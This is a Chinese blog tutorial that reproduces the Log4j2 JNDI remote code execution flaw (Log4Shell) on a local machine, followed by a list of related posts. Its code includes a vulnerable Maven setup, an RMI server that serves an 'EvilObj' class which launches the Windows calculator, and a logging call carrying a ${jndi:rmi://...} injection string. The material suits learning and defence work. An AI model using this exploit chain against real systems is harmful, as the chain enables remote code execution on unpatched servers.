快速复现利用Log4j漏洞启动windows计算器

Log4j2漏洞实战复现:从原理到利用与防御 在Java应用开发中,日志记录是基础且核心的功能,它帮助开发者追踪程序运行状态、排查问题。其背后的实现原理,通常涉及日志框架对日志消息的解析与处理。当框架支持通过特定语法动态查找并嵌入上下文信息时,便引入了强大的灵活性,但也可能埋下安全隐患。这项技术的价值在于提升日志的丰富性和可读性,广泛应用于Web服务、中间件及各类企业级系统的调试与监控场景。然而,如果对用户输入处理不当,攻击者可能通过精心构造的日志消息,利用框架的查找功能触发远程资源加载,最终导致严重的远程代码执行(RCE)风险。本文聚焦于曾引发广泛关 阅读详情

了解关于漏洞的描述,可以参考Vulnerability Affecting Multiple Log4j Versions Permits RCE Exploit

根据文章描述,首先下载JDK1.8u102,不能高于这个版本。

通过如下pom.xml建立一个maven项目

<project xmlns="http://maven.apache.org/POM/4.0.0"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<groupId>Log4jJNDI</groupId>
	<artifactId>Log4jJNDI</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<properties>
		<java.version>1.8</java.version>
	</properties>
	<dependencies>
		<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
		<dependency>
			<groupId>org.apache.logging.log4j</groupId>
			<artifactId>log4j-core</artifactId>
			<version>2.14.1</version>
		</dependency>
	</dependencies>
	    <build>
    <plugins>
        <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.7.0</version>
        <configuration>
            <source>${java.version}</source>
            <target>${java.version}</target>
        </configuration>
        </plugin>
    </plugins>
    </build>
</project>

新建类Log4jServer,这个类用来注册一个远程类。代码如下:

package testLog4j;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;

public class Log4jServer {
	public static void main(String[] args) {
		try {
			LocateRegistry.createRegistry(1099);
			Registry registry = LocateRegistry.getRegistry();
			Reference evilObjReference = new Reference("testLog4j.EvilObj", "testLog4j.EvilObj", ".");
			ReferenceWrapper evilObjReferenceObjWrapper = new ReferenceWrapper(evilObjReference);
			registry.bind("evilObj", evilObjReferenceObjWrapper);

			System.out.println("Server is running at port: 1099");
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

用于打开计算器的远程类代码如下:

package testLog4j;

public class EvilObj {
	static {
		try {
			Runtime.getRuntime().exec("calc");
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

}

下面的LogTest类用于展示如何通过打印日志,来调用远程类,

package testLog4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LogTest {
	private static Logger logger = LogManager.getLogger("LogTest");

	public static void main(String[] args) {
		logger.info("your operation system is: {}", "${java:os}");
		logger.error("${jndi:rmi://127.0.0.1:1099/evilObj}");
	}
}

首先运行Log4jServer类,此时在端口1099提供远程类访问。

然后再运行LogTest, 在打印如下日志以后,windows下的计算机被成功打开。运行时需要设置参数-Dlog4j2.formatMsgNoLookups=false

 

12-17 22:15:42.331 [main] INFO  LogTest
your operation system is: Windows 10 10.0, architecture: amd64-64

12-17 22:15:42.334 [main] ERROR LogTest
${jndi:rmi://127.0.0.1:1099/evilObj}

Good Luck,

Cheers!

Log4j2漏洞实战复现与防御:从JNDI注入原理到企业级应急响应 JNDI(Java命名和目录接口)是Java平台中用于访问命名和目录服务的核心API,它允许应用程序通过统一接口查找和访问分布式资源。其工作原理是通过命名管理器将逻辑名称绑定到实际对象,实现资源的动态发现与加载。这项技术的核心价值在于解耦资源访问逻辑,提升应用的可配置性和扩展性。然而,当JNDI与日志组件的Lookup功能结合时,若未对输入进行严格校验,攻击者可通过构造恶意日志消息触发远程类加载,导致远程代码执行漏洞,这在Log4j2(CVE-2021-44228)漏洞中得到典型体现。该漏洞影响范围极广,涉 阅读详情

相关推荐

Log4j2漏洞原理深度解析与实战复现:从JNDI注入到RCE攻击链

在Java应用开发中,日志记录是基础且关键的功能,它帮助开发者追踪程序行为、排查问题。其核心原理是通过日志框架对事件信息进行采集、过滤和输出。然而,当框架的设计特性与Java平台服务结合时,可能引入严重的安全风险。JNDI(Java命名和目录接口)作为Java访问命名服务的标准API,其动态类加载机制在特定场景下具备强大的技术价值,例如实现资源的集中管理和动态扩展。但在日志处理流程中,如果未经严格校验的用户输入触发了JNDI查询,并指向攻击者控制的恶意服务,就会构成JNDI注入漏洞,导致远程代码执行(RCE

ckkay800264的博客 430

Log4j2反序列化漏洞原理剖析与实战复现指南

Java反序列化是将序列化字节流重建为对象的过程,其核心原理在于JVM会调用对象的readObject()方法。这一机制在提供便利的同时,也带来了严重的安全风险:攻击者通过精心构造的序列化数据,可以触发目标类库中危险的调用链,最终实现任意代码执行。其技术价值在于深刻揭示了依赖信任边界的重要性,是理解软件供应链安全的关键案例。该漏洞的典型应用场景常出现在处理外部输入数据的组件中,例如日志框架、RPC通信和数据持久化层。本文聚焦于Log4j2框架,深入分析了其插件化架构与反序列化机制的危险结合点,并提供了从环境

weixin_34258838的博客 334

Log4Shell漏洞复现与防御:从原理到实战的深度剖析

在软件开发中,日志记录是追踪应用状态、排查问题的基础功能,而日志框架的安全性是保障系统稳定运行的关键。Apache Log4j2作为Java生态中广泛使用的日志组件,其核心原理在于通过Lookup机制动态解析日志内容,这原本是为了提升日志的灵活性。然而,当Lookup功能与JNDI(Java命名和目录接口)结合时,却可能引发严重的安全风险。JNDI允许应用访问远程的目录服务,如果日志内容中包含了恶意构造的JNDI查找指令,就可能触发远程类加载与代码执行,这正是CVE-2021-44228(Log4Shell

weixin_33739627的博客 353

【log4j2漏洞复现与利用】

log4j2

一个程序员 4万+

Log4j2 RCE漏洞复现:从原理到实战的深度剖析与防御指南

日志记录是软件开发中的基础功能,用于追踪应用行为、排查问题。其核心原理是将程序运行信息输出到指定目标。然而,当日志框架动态解析用户输入时,可能引入严重安全风险。Apache Log4j2作为广泛使用的Java日志组件,因其JNDI Lookup功能在解析日志消息时未做限制,导致了影响深远的远程代码执行(RCE)漏洞。该漏洞的技术价值在于揭示了供应链安全与输入验证的极端重要性,其利用链涉及JNDI注入、LDAP协议滥用和类动态加载。在应用场景上,任何使用受影响版本Log4j2的Java应用,尤其是Web服务,

www.itmmd.com 430

Log4j2漏洞深度剖析:从JNDI注入原理到企业级防御实战

在软件安全领域,远程代码执行(RCE)漏洞因其可直接控制目标系统而危害巨大。其原理常涉及不当的输入处理与危险的运行时功能调用链,例如通过特定协议触发外部资源加载。这类漏洞的技术价值在于揭示了供应链安全与深度防御的重要性,尤其在广泛使用的开源组件中。应用场景涵盖所有对外服务的Java应用,任何记录用户输入的日志点都可能成为攻击入口。本文以Log4j2的Log4Shell漏洞为例,通过复现JNDI注入攻击链,深入剖析了从日志记录到RCE的完整过程,并基于热词【深度防御】和【应急响应】,系统阐述了从紧急缓解到长期

congbao6525的博客 441

Apache Log4j2漏洞 (CVE-2021-44228) 分析与复现

Apache Log4j2 是一个开源的 Java 日志记录工具。Log4j2 是 Log4j 的升级版本,其优异的性能被广泛的应用于各种常见的 Web 服务中。Log4j2 在特定的版本中由于启用了 lookup 功能,导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数,是通过配置文件中的${}语法调用的,例如:如果在日志消息中使用了,那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值,并将其替换为实际值。

未完成的歌~的博客 2万+

帆软RCE漏洞深度剖析:原理、复现与防御实战指南

远程代码执行(RCE)漏洞是Web应用安全领域的核心威胁之一,其本质在于攻击者能够通过构造恶意输入,诱使服务器执行任意系统命令。其技术原理通常源于输入验证不严、危险函数调用或不安全的反序列化过程,攻击者借此可绕过应用层防护,直接控制后端服务器。这类漏洞的技术价值在于揭示了应用在数据处理与代码执行边界上的脆弱性,对业务系统构成极高风险,常导致数据泄露、服务器沦陷等严重后果。在报表系统、数据决策平台等企业级应用场景中,由于涉及大量用户可控输入(如参数、模板、表达式),RCE风险尤为突出。本文以广泛使用的帆软报表

weixin_34110749的博客 464

严重危害警告 Log4j 执行漏洞被公开

12 月 10 日凌晨,Apache 开源项目 Log4j2 的远程代码执行漏洞细节被公开,漏洞威胁等级为:严重。Log4j2 是一个基于 Java 的日志记录工具。它重写了 Log4j 框架,引入了大量丰富特性,让用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等。同时通过定义每一条日志信息的级别,让使用者能够更加细致地控制日志的生成过程。Log4j 是目前全球使用最广泛的 java 日志框架之一。

qq_53058639的博客 1451

Apache Solr、Shiro、Log4j2三大组件漏洞原理与本地复现实战

在软件开发和系统架构中,第三方组件是构建现代应用的基础模块,它们极大地提升了开发效率,但也引入了潜在的安全风险。组件安全的核心原理在于,当这些模块存在设计缺陷、配置不当或版本过旧时,攻击者可能利用其暴露的接口或功能实现权限提升或远程代码执行。从技术价值看,深入理解组件漏洞的形成机制,是构建纵深防御体系、提升整体安全水位的关键。在应用场景上,无论是Web服务、身份认证还是日志记录,核心组件一旦被攻破,往往导致整个系统沦陷。本文聚焦于Apache生态中三个经典高危组件——Solr的Velocity模板注入、Sh

weixin_33770878的博客 455

Log4Shell漏洞复现:从JNDI注入到RCE的完整攻击链实战

JNDI(Java命名和目录接口)是Java平台提供的一种统一API,用于访问如LDAP、RMI等多种命名和目录服务。其核心原理是通过名称查找和绑定对象,实现资源的动态发现与加载。这项技术的设计初衷是提升应用配置和资源管理的灵活性,但在特定场景下,若未对用户输入进行严格校验,JNDI的远程资源加载能力可能被恶意利用,从而引发严重的安全风险,例如远程代码执行(RCE)。在Java应用日志记录这一普遍场景中,如果日志框架对未经处理的用户输入执行了JNDI查找,攻击者便能构造恶意字符串,诱导应用从受控的LDAP服

weixin_30856725的博客 376

Log4j-2命令执行复现及分析

0x00 漏洞描述Apache Log4j2是一个基于Java的日志记录框架。正常情况下,开发者可能会将错误信息写入日志中,可以利用此特点构造特殊的数据请求包,最终触发远程代码执行RCE漏...

weixin_46137328的博客 1215

Log4Shell漏洞深度解析:从JNDI注入到RCE的攻防实战

在Java应用开发中,日志记录是基础且关键的功能,而动态内容解析机制为日志的灵活性提供了支持。其原理在于允许日志框架在输出时执行特定查找操作,动态嵌入系统或环境信息。这一设计虽然提升了日志的实用价值,但也引入了潜在的安全风险,当不可信的用户输入被直接记录并触发解析时,可能导致严重的远程代码执行(RCE)漏洞。Log4Shell(CVE-2021-44228)正是这一风险的集中体现,它利用Log4j 2.x版本的JNDI查找功能,通过精心构造的LDAP或RMI请求链,最终实现在目标服务器上执行任意命令。理解其

weixin_33898876的博客 321

log4j2漏洞原理和漏洞环境搭建复现

背景 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。 log4j3远程代码执行漏洞主要由于存在JN

dreamthe的博客 1万+

Apache Solr CVE-2019-0193漏洞深度剖析:从原理到实战复现与防御

在Java应用安全领域,远程代码执行漏洞是威胁等级最高的安全风险之一,其核心原理在于攻击者能够通过应用暴露的接口,注入并执行恶意代码。这类漏洞常源于不安全的反序列化、表达式注入或动态脚本执行等功能。以广泛使用的企业级搜索平台Apache Solr为例,其DataImportHandler组件允许通过XML配置执行脚本,若缺乏严格的输入验证和权限控制,便可能成为攻击入口。结合JMX服务暴露的管理接口和JNDI注入技术,攻击者可构造复杂的利用链,实现从配置篡改到远程类加载的完整攻击。本文以CVE-2019-01

jackleechina2011212的博客 490

JNDI注入漏洞深度剖析:从原理到IntelliJ IDEA实战复现

JNDI(Java命名和目录接口)作为Java平台中用于访问命名和目录服务的核心API,其设计初衷是提供统一的资源定位抽象层。其工作原理是通过InitialContext建立与底层服务(如LDAP、RMI)的连接,并基于名称查询绑定对象。然而,当用户可控输入未经校验直接传递给lookup()方法或用于构造Provider_URL时,便可能引发JNDI注入漏洞。该漏洞的技术危害在于能将数据输入转化为远程代码执行(RCE),彻底绕过传统数据过滤防线。在Java应用开发、中间件配置及IDE插件等场景中,此类风险尤

dianwei5413的博客 426

Log4Shell漏洞深度复现:从原理到实战的完整攻击链剖析

在软件开发中,日志记录是基础且关键的功能,用于追踪应用状态和排查问题。其核心原理是通过日志框架对事件信息进行格式化输出与存储。然而,当框架设计存在缺陷时,这一基础功能可能演变为严重的安全漏洞。以Apache Log4j2为例,其提供的**消息查找替换**功能本意是增强日志灵活性,支持在日志中动态插入变量。但该功能在解析用户输入时,未对**JNDI**协议调用进行严格限制,导致攻击者可构造特殊字符串,诱使服务器执行远程代码。这种漏洞的技术价值在于揭示了供应链安全与深度防御的重要性,其影响范围极广,涉及所有使用

weixin_30698527的博客 405

sylar学习系列一

开发环境 Centos7最小系统 gcc 9.1 cmake 环境可能存在的一些问题 可能存在的问题,linux最小系统没有一些常用命令,如果我们处于外网我们可以yum安装,但却遇到以下问题 can not find a valid baseurl for repo: base/7/x86-64 可修改网络配置 vi /etc/sysconfig/network-scripts/ifcfg-ens123 # 不是每个主机都是ens123 把ONBOOT=no,改为ONBOOT=yes 重启网络

wuguinianjing的博客 1018

Log4Shell漏洞复现与深度剖析:从原理到实战防御

JNDI(Java命名和目录接口)是Java平台中用于访问命名和目录服务的标准API,它允许应用程序通过统一的接口查找和访问分布式环境中的对象。其核心原理是通过命名服务将逻辑名称映射到实际资源,如数据库连接、EJB组件等。这项技术的价值在于实现了资源的解耦和动态发现,但同时也引入了安全风险,当不可信输入能够触发JNDI查找时,就可能构成远程代码执行漏洞。在Java应用安全领域,此类漏洞常出现在日志记录、反序列化等数据处理环节。本文聚焦于因JNDI功能滥用而引发的经典供应链安全事件,通过搭建包含恶意LDAP服

weixin_34204722的博客 316

用Python+Charles搞定小程序付费短剧下载(附完整代码与避坑点)

本文详细介绍了如何利用Python和Charles抓包工具实现小程序付费短剧的自动化下载。通过分析小程序视频接口、破解请求参数,并编写Python脚本,读者可以轻松获取并保存短剧内容。文章还提供了完整的代码示例和常见问题的解决方案,特别适合对视频采集和抓包技术感兴趣的开发者。

weixin_28731231的博客 1187

移位寄存器——用Verilog实现串入串出、串并和并串转换并进行Modelsim仿真

用Verilog实现串并转换 首先我们先要了并串和串并转换的原理 并串转换:先将八位数据暂存于一个八位寄存器器中,然后左移输出到一位输出端口,这里可以通过一个“移位”来实现,相当于实现了移位寄存器的功能。 串并转换:新输入的位值成为原来数据的最低位,将原来数据的最高位舍去,这里可以通过一个简单的“连接符”来实现。 我们这里采用两种方式来进行串并转换 一:lsb优先 Least Significant Bit,最低比特,最低位优先 二:msb优先 Most Significant Bit,最高比特,

H19981118的博客 2万+
上一篇: 四张图秒懂JavaScript的ES6箭头函数用法
下一篇: 跟着JHipster学做项目 (17) Spring Boot处理分页和排序
java_augur
博客等级 码龄22年 67粉丝 64原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值